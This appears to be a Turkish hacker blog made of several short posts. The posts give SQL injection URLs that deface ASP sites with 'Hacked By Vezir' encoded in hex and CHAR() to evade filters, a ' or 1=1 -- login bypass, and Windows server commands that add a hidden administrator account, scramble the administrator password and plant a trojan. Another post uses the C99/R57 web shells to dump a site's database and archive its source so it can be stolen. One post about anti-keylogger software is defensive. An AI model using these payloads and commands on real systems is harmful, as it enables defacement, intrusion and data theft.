Update olmaya sitelerde char kulanımı

merhaba arkadaşlar bu yazımda tek harf update olan yada harf update olmayan sitelerde char'lama

yönteminden bahsedecem ;

Bir siteye girdiniz hata aldınız baktınız unclosed var tablo ve kolon adlarını çekerek update yapabilirsiniz

tablo ve kolon adlarını aldıktan sonra bakıyorsunuz update olmuyor işte o sırada harflerle update yi

engellemişlerdir ne yapabiliriz

siteye yazacağımızı yazıyı char layarak yani şifreleyerek siteye update yapabiliriz

mesela şu şekil

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='Hacked By Vezir;--

bu şekil update olmadı ama tek harf yaptığınızda update oldu

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='H;--

burda hacked by vezir kısmını char lıyarak yada hexe çevirerek update yapabilirsiniz

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=0x3c68313e4861636b65642062792056657a69722e3034;--

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=CHAR(86)+CHAR(101)%20CHAR(122)%20CHAR(105)%20CHAR(114)%20CHAR(46)%20CHAR(48)%20CHAR(52);--

bu şekilde update yapabilirsiniz

Injection Flaws

Injection Flaws

Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.

Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.

Select MemberID

From Member

Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"

Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim

txtUsername.Text : ' or 1=1 --

txtPassword.Text : 123--

ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar

Select MemberID

From Member

Where Username =or 1=1 -- ' and Password = ' " + txtPassword.Text + "'"-- ifadesi SQL Server için

yorum satırı anlamına geldi için çalıştırılmaz.

Where ifadesini inceleyelim :

Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur.

Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve hacker ilk kaydın

yetkisi ile içeriye giriş yapmış olur.

Win serverda root olma teknikleri

Merhaba arkaşlar win server la ilgili bir döküman yazmak istedim fazla
uzatmadan başlıyalım.bu yöntemi çogu kişi bilir eski bir yöntemdir bilmeyenler vardır diye düşünüp yayınlıyorum.

bir win servera fso destekli bir scriptle girdigimiz zaman cmd ile

uzaktan komut iLe user ekleyip ;

net user vezir 123456 /add

şekLinde sonra net user localgroup administrator vezir /add

şeklinde admin yetkisi verip server ip aLıp uzak masaüstü iLe bağlanıp istedigimizi yaparız bu bir yöntem ;

Eğer ki user ekeleyemezseniz
net user administrator /random

komutuyla mevcut kullanicilarin şifrelerini öğrenebilirsiniz ;

ama şöyle düşünelİm bir Nt servera girdik ve komut girme yetkimiz yok.

neLer yapabiliriz şimdi uzaktan komut verip user ekLeyemiyoruz ama komut çaLıştırabiLiyoruz.

o zaman hemen size bir puf noktası veriyorum. yazdığımız bir kodu .bat formatına çevirip uzaktan user ekliyecez

hemen başlıyalım bir txt açın ;

içine

@echo
net user vezir 123456 /add

yazın ve vezir.bat die kayıt edin çalıştırın ve denetim masasından kullanıcı hesapLarına baktığınız zaman

vezir adında bir user oluşturmuş olacak,

şimdi hemen bir txt açıyoruz içine

@echo
net user vezir 123456 /add
del vezir.bat

yazıyoruz ve vezir.bat die kaydediyoruz ve çalıştırıyoruz

ve komuttan sonra vezir.bat silinecegini göreceksiniz ve bu sayede fso içinde komut ekletip

useri ekletip aynı şekilde administrator yetkisi vererek dosyaları sildirip root düzeyine erişebilİrsiniz.

başka bir yöntem ; trojen ile buda basit bir olaydır arkadaşLar bir key bulun kendi serverınızı oluşturun.

ve win servera upload edin :] serverda dosyayı çaLıştırın ve trojan buluşacaktır. gidin proğramın clientini

açın ipden bağlanın ve client sayesinde proğram sayesinde pc ye bağlanın.


Bir daha ki dökümanda görüşmek dileği ile

KeyloggerLardan Korunmak

Açıklama : S.a Son Zamanlarda Bu Tür Keyloggerlar Her yerde Görülmeye Başladı Hatta NTVMSNBC Sitesine Bile Kod Koyarak Oraya Erişim Saglıyan İNTERNET Kullanıcılarına Büyük Tuzak Kurmuştular. Bu Keyloggerlar Kalvye'de Basılan Her Tuşu Kayıta Alıp "Hacker" veya Tuzak Kuran Kİşiye Gönderilir Tabi Bu Bilgiler ; Kredi Kartınız Olabilir , Sitenizin Şifreleri , Msn ŞifeLeriniz, Veya Daha Önemli Bİlgiler Olabilir.

Bu Program Bize Ne Kolaylıklar Saglıyacak ;

- Windows da yazdığımız yazıların kayıtlanmasını.
- Klavyeden bastığımız her tuşun kayıtlanmasını.
- Kopyala yapıştır yaparak girdiğimiz yazıların, şifrelerin kaydedilmesini.
- O anda açık olan penceremizin screenshot'unun(ekran görüntüsünün) alınmasını.
- Her türlü spy programlarının saldırısını.
- HARDWARE KEYLOGGER'ların yazılarımızı, şifrelerimizi loglamasını.
Program'ı İndirip Kurduktan Sonra Çalıştırılması İçin ;


PHP- Kodu:

+++

PrivacyKeyboard Açılacaktır Ondan Sonra BANKA , MSN , MAİL Şifrelerinizi buradan Girerek Daha Güvenli Olmaktadır.

Unutmayın İnternet %100 Güvenli Degildir Sadece Bu Önlemdir..


İndir

http://anti-keylogger.com/downloads/prvkbd.zip

Script çekme

Bir sitenin serverına girdiniz sitenin scripti hoşunuza gitti acaba nasıl bu scripti çekerim diyorsanız işte yapmanız gerekenler

C99 atıyoruz servera ve databaseye bağlanıyoruz.Oralarda DUMP yazan bi buton olucak ona basarız ve SQL dosyası PC'ye inmeye başlar..

R57 atıyoruz siteye ve komut satırımıza yani run command yazan yere alttaki komutu yazıyoruz.

Kod:

cd /İSTEDĞİNİZ SİTENİN UShome/SCRİPTİNİ ER ADI/public_html/;tar cvzf /home/KAYDETME DİZİN/public_html/yedek.tar.gz *

Böylece rarlanmış olarak inicek PC'ye dosyalar..

Merhaba

Merhaba arkadaşlar tüm arkadaşların blogu var bende bir tane blog açayım dedim. Kendim hakkında verebileceğim pek bir bilgi yok ama yinede bir kaç şey yazayım doğubeyazıtlıyım sanal ortamda web tasarımı olsun site güvenliği hakkında kendimi geliştirmeye çalışıyorum. Bazıları gibi kendimi kimseden üstünde görmüyorum kimsenin altında da değilim bu kadar yeter herhalde :D bloguda elimden geldiğince güncel tutmaya çalışacam.
Herşeyin hayırlısı olsun diyip konuyu bitirelim.